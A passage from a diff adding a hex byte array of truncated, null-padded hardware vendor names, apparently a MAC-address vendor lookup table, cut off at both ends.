0x00, +0x53, 0x74, 0x61, 0x6e, 0x74, 0x6f, 0x6e, 0x4d, +0x41, 0x64, 0x61, 0x70, 0x74, 0x69, 0x78, 0x00, +0x44, 0x61, 0x74, 0x61, 0x56, 0x6f, 0x69, 0x63, +0x44, 0x61, 0x75, 0x6d, 0x45, 0x6c, 0x65, 0x63, +0x45, 0x6e, 0x65, 0x72, 0x64, 0x79, 0x6e, 0x65, +0x53, 0x77, 0x69, 0x73, 0x73, 0x63, 0x6f, 0x6d, +0x49, 0x70, 0x73, 0x44, 0x4f, 0x4f, 0x00, 0x00, +0x56, 0x61, 0x6c, 0x75, 0x65, 0x45, 0x6c, 0x65, +0x4f, 0x70, 0x74, 0x6f, 0x65, 0x6c, 0x65, 0x63, +0x41, 0x73, 0x63, 0x61, 0x6c, 0x61, 0x64, 0x65, +0x56, 0x69, 0x73, 0x6f, 0x6e, 0x69, 0x63, 0x54, +0x55, 0x6e, 0x69, 0x76, 0x65, 0x72, 0x73, 0x69, +0x53, 0x65, 0x69, 0x64, 0x65, 0x6c, 0x45, 0x6c, +0x52, 0x61, 0x79, 0x73, 0x6f, 0x6e, 0x54, 0x65, +0x4e, 0x67, 0x65, 0x73, 0x44, 0x65, 0x6e, 0x72, +0x4d, 0x65, 0x61, 0x73, 0x75, 0x72, 0x65, 0x6d, +0x52, 0x65, 0x64, 0x75, 0x78, 0x43, 0x6f, 0x6d, +0x53, 0x74, 0x6f, 0x6b, 0x65, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x74, 0x4c, 0x61, 0x62, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x74, 0x69, 0x6c, 0x6c, 0x61, +0x43, 0x67, 0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, +0x4b, 0x6f, 0x72, 0x65, 0x6e, 0x69, 0x78, 0x54, +0x53, 0x61, 0x6e, 0x79, 0x75, 0x49, 0x6e, 0x64, +0x56, 0x69, 0x61, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x53, 0x77, 0x65, 0x67, 0x6f, 0x6e, 0x00, 0x00, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x61, 0x72, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4c, +0x51, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x62, 0x33, 0x33, 0x53, 0x72, 0x6c, +0x47, 0x69, 0x7a, 0x6d, 0x6f, 0x6e, 0x64, 0x6f, +0x45, 0x6e, 0x64, 0x65, 0x76, 0x63, 0x6f, 0x00, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x53, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x72, 0x79, 0x4e, +0x57, 0x6f, 0x6f, 0x64, 0x77, 0x61, 0x72, 0x64, +0x53, 0x74, 0x62, 0x44, 0x61, 0x74, 0x65, 0x6e, +0x51, 0x2d, 0x46, 0x72, 0x65, 0x65, 0x41, 0x73, +0x4d, 0x6f, 0x6e, 0x74, 0x69, 0x6c, 0x69, 0x6f, +0x4b, 0x77, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x47, 0x72, 0x69, 0x66, 0x66, 0x69, 0x6e, 0x54, +0x47, 0x65, 0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, +0x41, 0x69, 0x77, 0x61, 0x72, 0x65, 0x00, 0x00, +0x41, 0x64, 0x64, 0x6c, 0x6f, 0x67, 0x69, 0x78, +0x4f, 0x32, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x00, +0x4d, 0x69, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x4b, 0x74, 0x65, 0x63, 0x68, 0x54, 0x65, 0x6c, +0x49, 0x72, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x32, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x59, 0x75, 0x6c, 0x69, 0x6e, 0x65, 0x74, 0x00, +0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x74, +0x53, 0x75, 0x72, 0x66, 0x43, 0x6f, 0x6d, 0x6d, +0x52, 0x61, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x6f, 0x6d, 0x65, 0x72, 0x69, 0x64, +0x42, 0x6c, 0x75, 0x65, 0x70, 0x61, 0x63, 0x6b, +0x56, 0x69, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x74, +0x54, 0x68, 0x69, 0x6e, 0x67, 0x6d, 0x61, 0x67, +0x44, 0x6f, 0x6c, 0x70, 0x68, 0x69, 0x6e, 0x49, +0x44, 0x6f, 0x6c, 0x62, 0x79, 0x41, 0x75, 0x73, +0x49, 0x73, 0x72, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x49, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x49, 0x65, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6c, 0x69, 0x66, 0x65, 0x00, 0x00, +0x4f, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x74, 0x65, +0x49, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x6c, 0x73, 0x48, 0x61, 0x72, 0x64, 0x2d, +0x45, 0x6c, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63, +0x45, 0x66, 0x6f, 0x72, 0x65, 0x4f, 0x79, 0x6a, +0x44, 0x61, 0x69, 0x4e, 0x69, 0x70, 0x70, 0x6f, +0x41, 0x76, 0x6f, 0x6c, 0x69, 0x74, 0x65, 0x73, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x57, +0x57, 0x6f, 0x72, 0x6b, 0x4d, 0x69, 0x63, 0x72, +0x56, 0x69, 0x61, 0x6c, 0x74, 0x61, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x74, 0x61, 0x42, 0x61, 0x72, +0x50, 0x74, 0x77, 0x46, 0x72, 0x65, 0x69, 0x62, +0x47, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x69, +0x46, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x63, 0x68, 0x6f, 0x6c, 0x61, 0x62, 0x4c, +0x41, 0x76, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x4d, +0x41, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x41, 0x72, 0x63, 0x61, 0x64, 0x79, 0x61, 0x6e, +0x48, 0x6f, 0x74, 0x6c, 0x61, 0x76, 0x61, 0x00, +0x43, 0x68, 0x65, 0x63, 0x6b, 0x50, 0x6f, 0x69, +0x41, 0x70, 0x65, 0x78, 0x45, 0x6c, 0x65, 0x63, +0x57, 0x69, 0x74, 0x53, 0x41, 0x00, 0x00, 0x00, +0x56, 0x69, 0x73, 0x65, 0x6f, 0x6e, 0x00, 0x00, +0x56, 0x2d, 0x53, 0x68, 0x6f, 0x77, 0x54, 0x65, +0x54, 0x67, 0x63, 0x41, 0x6d, 0x65, 0x72, 0x69, +0x53, 0x65, 0x63, 0x75, 0x72, 0x61, 0x79, 0x54, +0x50, 0x65, 0x72, 0x66, 0x65, 0x63, 0x74, 0x54, +0x4d, 0x65, 0x63, 0x68, 0x61, 0x74, 0x72, 0x6f, +0x43, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x69, 0x74, 0x61, 0x74, 0x65, 0x6b, 0x00, +0x41, 0x73, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x47, 0x6f, 0x73, 0x73, 0x65, 0x6e, 0x2d, 0x4d, +0x5a, 0x65, 0x74, 0x74, 0x61, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x59, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x6f, 0x4e, +0x5a, 0x69, 0x65, 0x68, 0x6c, 0x49, 0x6e, 0x64, +0x53, 0x75, 0x6e, 0x63, 0x6f, 0x72, 0x70, 0x49, +0x53, 0x68, 0x65, 0x6e, 0x67, 0x71, 0x75, 0x49, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x43, 0x6f, 0x6d, +0x4e, 0x6f, 0x76, 0x6f, 0x6d, 0x61, 0x74, 0x69, +0x43, 0x6f, 0x64, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x6c, 0x69, 0x61, 0x6e, 0x74, 0x4e, +0x41, 0x6c, 0x61, 0x78, 0x61, 0x6c, 0x61, 0x4e, +0x41, 0x67, 0x61, 0x74, 0x2d, 0x52, 0x74, 0x00, +0x54, 0x69, 0x6d, 0x65, 0x41, 0x6d, 0x65, 0x72, +0x53, 0x70, 0x65, 0x63, 0x74, 0x65, 0x63, 0x43, +0x50, 0x72, 0x6f, 0x6a, 0x65, 0x63, 0x74, 0x65, +0x41, 0x62, 0x62, 0x65, 0x79, 0x00, 0x00, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x65, 0x00, 0x00, 0x00, +0x50, 0x64, 0x68, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x4d, 0x6f, 0x76, 0x61, 0x63, 0x6f, 0x6c, 0x6f, +0x41, 0x76, 0x67, 0x41, 0x64, 0x76, 0x61, 0x6e, +0x4f, 0x6e, 0x65, 0x61, 0x63, 0x63, 0x65, 0x73, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x72, +0x49, 0x66, 0x6f, 0x74, 0x65, 0x63, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x62, +0x42, 0x65, 0x6c, 0x63, 0x6f, 0x49, 0x6e, 0x74, +0x49, 0x6d, 0x61, 0x72, 0x64, 0x61, 0x4e, 0x65, +0x4d, 0x64, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x58, 0x69, +0x57, 0x6e, 0x69, 0x52, 0x65, 0x73, 0x6f, 0x75, +0x55, 0x72, 0x79, 0x75, 0x53, 0x65, 0x69, 0x73, +0x54, 0x68, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6c, 0x61, 0x6e, 0x65, 0x74, 0x53, 0x79, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x75, 0x73, 0x49, +0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x4d, 0x6f, +0x4c, 0x65, 0x6c, 0x79, 0x49, 0x6e, 0x64, 0x75, +0x49, 0x74, 0x2d, 0x46, 0x61, 0x63, 0x74, 0x6f, +0x49, 0x72, 0x6f, 0x6e, 0x67, 0x61, 0x74, 0x65, +0x47, 0x61, 0x74, 0x65, 0x63, 0x6f, 0x6e, 0x6e, +0x46, 0x6c, 0x61, 0x69, 0x72, 0x63, 0x6f, 0x6d, +0x45, 0x70, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x41, 0x6c, 0x77, 0x61, 0x79, 0x73, 0x4f, 0x6e, +0x50, 0x61, 0x72, 0x61, 0x76, 0x69, 0x72, 0x74, +0x4e, 0x75, 0x76, 0x65, 0x72, 0x61, 0x46, 0x75, +0x4f, 0x63, 0x65, 0x61, 0x6e, 0x42, 0x72, 0x6f, +0x4d, 0x65, 0x78, 0x74, 0x61, 0x6c, 0x42, 0x56, +0x48, 0x66, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x47, 0x61, 0x6c, 0x69, 0x6c, 0x65, 0x6f, 0x41, +0x46, 0x6f, 0x63, 0x75, 0x73, 0x72, 0x69, 0x74, +0x45, 0x67, 0x65, 0x6d, 0x65, 0x6e, 0x42, 0x69, +0x41, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x4e, 0x65, +0x41, 0x73, 0x69, 0x61, 0x6d, 0x61, 0x6a, 0x6f, +0x4c, 0x2d, 0x53, 0x2d, 0x42, 0x42, 0x72, 0x6f, +0x44, 0x67, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, +0x42, 0x65, 0x63, 0x65, 0x6c, 0x6c, 0x49, 0x6e, +0x4c, 0x69, 0x74, 0x65, 0x74, 0x6f, 0x75, 0x63, +0x53, 0x63, 0x61, 0x6e, 0x76, 0x61, 0x65, 0x67, +0x50, 0x65, 0x69, 0x6b, 0x65, 0x72, 0x41, 0x63, +0x4e, 0x78, 0x74, 0x70, 0x68, 0x61, 0x73, 0x65, +0x44, 0x61, 0x71, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x43, 0x61, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x74, 0x69, 0x6e, 0x61, 0x00, +0x45, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x41, 0x63, 0x71, 0x75, +0x57, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, 0x4b, +0x56, 0x73, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, +0x53, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x44, +0x4d, 0x61, 0x7a, 0x42, 0x72, 0x61, 0x6e, 0x64, +0x49, 0x77, 0x69, 0x73, 0x65, 0x43, 0x6f, 0x6d, +0x49, 0x74, 0x69, 0x61, 0x6e, 0x43, 0x6f, 0x70, +0x45, 0x75, 0x72, 0x6f, 0x50, 0x72, 0x6f, 0x74, +0x43, 0x65, 0x6c, 0x6c, 0x70, 0x6f, 0x69, 0x6e, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x54, +0x42, 0x61, 0x75, 0x64, 0x74, 0x65, 0x63, 0x00, +0x41, 0x72, 0x6b, 0x61, 0x64, 0x6f, 0x73, 0x00, +0x56, 0x73, 0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x37, +0x4f, 0x72, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x6f, +0x46, 0x72, 0x65, 0x73, 0x65, 0x6e, 0x69, 0x75, +0x43, 0x63, 0x76, 0x44, 0x65, 0x75, 0x74, 0x73, +0x56, 0x61, 0x64, 0x61, 0x74, 0x65, 0x63, 0x68, +0x53, 0x70, 0x65, 0x65, 0x64, 0x44, 0x72, 0x61, +0x51, 0x75, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x4d, 0x65, 0x6d, +0x4d, 0x65, 0x74, 0x61, 0x73, 0x77, 0x69, 0x74, +0x45, 0x70, 0x70, 0x65, 0x6e, 0x64, 0x6f, 0x72, +0x41, 0x64, 0x45, 0x6c, 0x53, 0x52, 0x4c, 0x00, +0x53, 0x68, 0x61, 0x6e, 0x64, 0x6f, 0x6e, 0x67, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, +0x46, 0x61, 0x72, 0x67, 0x6f, 0x45, 0x6c, 0x65, +0x41, 0x72, 0x74, 0x69, 0x6c, 0x61, 0x45, 0x6c, +0x5a, 0x79, 0x78, 0x65, 0x6c, 0x43, 0x6f, 0x6d, +0x45, 0x6e, 0x67, 0x69, 0x6d, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x67, 0x6f, 0x6c, 0x64, 0x65, 0x6e, +0x59, 0x64, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x49, 0x6e, 0x65, 0x70, 0x72, 0x6f, 0x42, 0x76, +0x56, 0x61, 0x6c, 0x6f, 0x78, 0x00, 0x00, 0x00, +0x52, 0x61, 0x70, 0x69, 0x64, 0x75, 0x73, 0x57, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x53, 0x70, +0x4e, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x75, 0x64, +0x4e, 0x61, 0x7a, 0x74, 0x65, 0x63, 0x00, 0x00, +0x48, 0x79, 0x64, 0x61, 0x63, 0x46, 0x69, 0x6c, +0x5a, 0x63, 0x6f, 0x6d, 0x61, 0x78, 0x54, 0x65, +0x54, 0x6f, 0x6d, 0x65, 0x6e, 0x43, 0x79, 0x62, +0x46, 0x6c, 0x69, 0x72, 0x52, 0x61, 0x64, 0x69, +0x53, 0x6f, 0x79, 0x61, 0x6c, 0x54, 0x65, 0x63, +0x52, 0x65, 0x61, 0x6c, 0x6d, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x6c, 0x65, 0x76, +0x50, 0x72, 0x6f, 0x6a, 0x65, 0x63, 0x74, 0x54, +0x50, 0x61, 0x6e, 0x65, 0x6c, 0x6c, 0x69, 0x6e, +0x4f, 0x6e, 0x73, 0x69, 0x74, 0x65, 0x00, 0x00, +0x4e, 0x74, 0x74, 0x70, 0x63, 0x43, 0x6f, 0x6d, +0x45, 0x61, 0x62, 0x2f, 0x52, 0x77, 0x69, 0x2f, +0x42, 0x69, 0x6f, 0x73, 0x70, 0x61, 0x63, 0x65, +0x53, 0x68, 0x69, 0x6e, 0x68, 0x65, 0x75, 0x6e, +0x56, 0x65, 0x72, 0x61, 0x73, 0x63, 0x61, 0x70, +0x50, 0x61, 0x72, 0x61, 0x64, 0x69, 0x67, 0x6d, +0x4e, 0x65, 0x74, 0x75, 0x72, 0x69, 0x74, 0x79, +0x4e, 0x61, 0x72, 0x61, 0x79, 0x6f, 0x6e, 0x00, +0x53, 0x61, 0x61, 0x62, 0x44, 0x61, 0x6e, 0x6d, +0x48, 0x6f, 0x6e, 0x64, 0x61, 0x45, 0x6c, 0x65, +0x48, 0x61, 0x63, 0x68, 0x4c, 0x61, 0x6e, 0x67, +0x45, 0x2d, 0x54, 0x65, 0x63, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x6d, 0x74, 0x6f, 0x6d, 0x00, 0x00, +0x54, 0x65, 0x6e, 0x74, 0x61, 0x63, 0x75, 0x6c, +0x54, 0x65, 0x63, 0x68, 0x6d, 0x65, 0x74, 0x72, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x6d, 0x6f, +0x42, 0x6c, 0x77, 0x61, 0x76, 0x65, 0x45, 0x6c, +0x54, 0x61, 0x62, 0x6f, 0x72, 0x45, 0x6c, 0x65, +0x51, 0x73, 0x61, 0x6e, 0x54, 0x65, 0x63, 0x68, +0x50, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x49, 0x6e, +0x4e, 0x65, 0x74, 0x76, 0x6f, 0x78, 0x54, 0x65, +0x4d, 0x6f, 0x76, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x4b, 0x61, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x44, 0x79, 0x6e, 0x61, 0x6c, 0x61, 0x62, 0x00, +0x43, 0x6f, 0x72, 0x65, 0x64, 0x67, 0x65, 0x4e, +0x43, 0x68, 0x69, 0x70, 0x73, 0x00, 0x00, 0x00, +0x43, 0x65, 0x74, 0x61, 0x63, 0x65, 0x61, 0x4e, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, +0x41, 0x64, 0x64, 0x2d, 0x4f, 0x6e, 0x54, 0x65, +0x41, 0x62, 0x62, 0x49, 0x6e, 0x63, 0x2f, 0x54, +0x32, 0x37, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x57, 0x69, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x41, +0x52, 0x65, 0x64, 0x65, 0x73, 0x44, 0x65, 0x54, +0x51, 0x69, 0x6e, 0x67, 0x64, 0x61, 0x6f, 0x47, +0x50, 0x68, 0x61, 0x6e, 0x74, 0x6f, 0x6d, 0x54, +0x4b, 0x75, 0x6d, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x4b, 0x69, 0x6e, 0x67, 0x68, 0x6f, 0x6c, 0x64, +0x46, 0x6f, 0x61, 0x62, 0x45, 0x6c, 0x65, 0x6b, +0x54, 0x65, 0x72, 0x6d, 0x74, 0x65, 0x6b, 0x43, +0x4f, 0x75, 0x65, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x52, 0x75, 0x63, 0x6b, 0x75, 0x73, 0x57, 0x69, +0x50, 0x61, 0x6e, 0x74, 0x61, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x6f, 0x68, 0x61, 0x6e, 0x64, +0x43, 0x6f, 0x6e, 0x67, 0x61, 0x74, 0x65, 0x63, +0x41, 0x63, 0x62, 0x65, 0x6c, 0x50, 0x6f, 0x6c, +0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x73, +0x53, 0x74, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x2d, 0x55, 0x62, 0x69, 0x71, 0x75, 0x65, +0x49, 0x6f, 0x69, 0x6d, 0x61, 0x67, 0x65, 0x00, +0x45, 0x78, 0x61, 0x76, 0x65, 0x72, 0x61, 0x54, +0x4d, 0x61, 0x78, 0x6c, 0x69, 0x6e, 0x65, 0x61, +0x43, 0x69, 0x61, 0x72, 0x61, 0x54, 0x65, 0x63, +0x41, 0x6c, 0x67, 0x6f, 0x73, 0x79, 0x73, 0x74, +0x43, 0x72, 0x6f, 0x77, 0x45, 0x6c, 0x65, 0x63, +0x4d, 0x61, 0x78, 0x73, 0x74, 0x72, 0x65, 0x61, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x43, +0x4b, 0x65, 0x79, 0x65, 0x79, 0x65, 0x43, 0x6f, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x53, +0x45, 0x78, 0x74, 0x72, 0x69, 0x63, 0x6f, 0x6d, +0x42, 0x61, 0x74, 0x74, 0x65, 0x6c, 0x6c, 0x65, +0x54, 0x61, 0x6e, 0x69, 0x73, 0x79, 0x73, 0x54, +0x41, 0x6c, 0x73, 0x54, 0x65, 0x63, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x6f, 0x74, 0x69, +0x53, 0x75, 0x6e, 0x6d, 0x79, 0x75, 0x6e, 0x67, +0x53, 0x65, 0x6e, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x63, 0x65, +0x4e, 0x75, 0x6d, 0x61, 0x54, 0x65, 0x63, 0x68, +0x4a, 0x61, 0x62, 0x6c, 0x6f, 0x74, 0x72, 0x6f, +0x43, 0x61, 0x72, 0x61, 0x6c, 0x6c, 0x6f, 0x6e, +0x45, 0x63, 0x6f, 0x6d, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x70, 0x70, 0x65, 0x61, 0x72, 0x54, 0x76, +0x57, 0x61, 0x76, 0x65, 0x73, 0x61, 0x74, 0x00, +0x53, 0x6c, 0x69, 0x6e, 0x67, 0x4d, 0x65, 0x64, +0x53, 0x63, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, +0x52, 0x79, 0x63, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x42, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x65, 0x61, 0x64, 0x79, 0x6c, 0x69, 0x6e, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x76, 0x75, 0x65, +0x41, 0x72, 0x74, 0x69, 0x6d, 0x69, 0x00, 0x00, +0x48, 0x79, 0x6d, 0x61, 0x74, 0x6f, 0x6d, 0x53, +0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x43, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x79, 0x73, +0x54, 0x72, 0x69, 0x78, 0x54, 0x65, 0x63, 0x6e, +0x41, 0x73, 0x6f, 0x6b, 0x61, 0x55, 0x73, 0x61, +0x57, 0x61, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x72, 0x6f, 0x6e, +0x4f, 0x70, 0x65, 0x6e, 0x67, 0x65, 0x61, 0x72, +0x49, 0x6f, 0x6e, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x42, 0x65, 0x79, 0x6f, 0x6e, 0x64, 0x41, 0x63, +0x50, 0x69, 0x63, 0x6f, 0x44, 0x69, 0x67, 0x69, +0x5a, 0x65, 0x6e, 0x69, 0x74, 0x65, 0x6c, 0x4e, +0x54, 0x61, 0x6c, 0x6c, 0x4d, 0x61, 0x70, 0x6c, +0x4d, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x34, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x43, +0x54, 0x2b, 0x4d, 0x65, 0x64, 0x69, 0x63, 0x61, +0x4b, 0x69, 0x72, 0x6b, 0x54, 0x65, 0x6c, 0x65, +0x50, 0x61, 0x67, 0x65, 0x49, 0x62, 0x65, 0x72, +0x54, 0x69, 0x69, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x53, 0x70, 0x69, 0x64, 0x63, 0x6f, 0x6d, 0x54, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x50, 0x72, +0x44, 0x69, 0x73, 0x6b, 0x77, 0x61, 0x72, 0x65, +0x53, 0x68, 0x6f, 0x65, 0x69, 0x45, 0x6c, 0x65, +0x49, 0x62, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x41, 0x62, 0x62, 0x6f, 0x74, 0x74, 0x44, 0x69, +0x41, 0x64, 0x61, 0x70, 0x74, 0x34, 0x4c, 0x6c, +0x52, 0x79, 0x76, 0x6f, 0x72, 0x00, 0x00, 0x00, +0x49, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x00, 0x00, +0x47, 0x65, 0x6f, 0x76, 0x69, 0x73, 0x69, 0x6f, +0x43, 0x6f, 0x76, 0x69, 0x54, 0x65, 0x63, 0x68, +0x59, 0x61, 0x6e, 0x67, 0x6a, 0x61, 0x65, 0x00, +0x54, 0x65, 0x6e, 0x6f, 0x73, 0x79, 0x73, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, 0x75, +0x48, 0x61, 0x6c, 0x63, 0x72, 0x6f, 0x00, 0x00, +0x56, 0x65, 0x72, 0x69, 0x77, 0x61, 0x76, 0x65, +0x4b, 0x61, 0x6d, 0x73, 0x74, 0x72, 0x75, 0x70, +0x53, 0x79, 0x73, 0x6d, 0x61, 0x73, 0x74, 0x65, +0x4e, 0x65, 0x74, 0x73, 0x6e, 0x61, 0x70, 0x70, +0x50, 0x73, 0x69, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x62, 0x78, 0x44, 0x65, 0x73, 0x69, 0x67, +0x4b, 0x69, 0x6e, 0x67, 0x6a, 0x6f, 0x6e, 0x44, +0x57, 0x61, 0x76, 0x65, 0x66, 0x72, 0x6f, 0x6e, +0x41, 0x6d, 0x6f, 0x64, 0x54, 0x65, 0x63, 0x68, +0x4b, 0x6c, 0x61, 0x73, 0x00, 0x00, 0x00, 0x00, +0x50, 0x73, 0x69, 0x74, 0x65, 0x6b, 0x50, 0x74, +0x41, 0x6b, 0x69, 0x6d, 0x62, 0x69, 0x00, 0x00, +0x43, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x00, +0x44, 0x65, 0x78, 0x53, 0x65, 0x63, 0x75, 0x72, +0x43, 0x61, 0x76, 0x65, 0x72, 0x61, 0x00, 0x00, +0x4c, 0x69, 0x66, 0x65, 0x73, 0x69, 0x7a, 0x65, +0x52, 0x6b, 0x63, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x53, 0x69, 0x63, 0x6f, 0x72, 0x74, 0x65, 0x78, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x74, 0x65, 0x63, +0x44, 0x61, 0x67, 0x65, 0x2d, 0x4d, 0x74, 0x69, +0x4d, 0x69, 0x6e, 0x65, 0x72, 0x76, 0x61, 0x4b, +0x52, 0x69, 0x76, 0x65, 0x72, 0x74, 0x72, 0x65, +0x4b, 0x6b, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x52, 0x65, 0x6e, 0x61, 0x73, 0x69, 0x73, 0x4c, +0x4f, 0x70, 0x65, 0x6e, 0x69, 0x62, 0x00, 0x00, +0x47, 0x6f, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x53, 0x70, 0x65, 0x72, 0x69, 0x61, 0x6e, 0x50, +0x45, 0x6b, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x67, 0x6e, 0x65, 0x74, 0x69, 0x4d, +0x57, 0x65, 0x70, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x47, 0x6b, 0x62, 0x43, 0x63, 0x74, 0x76, 0x00, +0x46, 0x65, 0x64, 0x65, 0x72, 0x61, 0x6c, 0x53, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x4b, 0x65, +0x44, 0x65, 0x75, 0x74, 0x73, 0x63, 0x68, 0x6d, +0x53, 0x2d, 0x54, 0x65, 0x63, 0x45, 0x6c, 0x65, +0x54, 0x72, 0x65, 0x62, 0x69, 0x6e, 0x67, 0x48, +0x4a, 0x75, 0x6d, 0x70, 0x6e, 0x6f, 0x64, 0x65, +0x49, 0x6e, 0x74, 0x65, 0x63, 0x41, 0x75, 0x74, +0x53, 0x63, 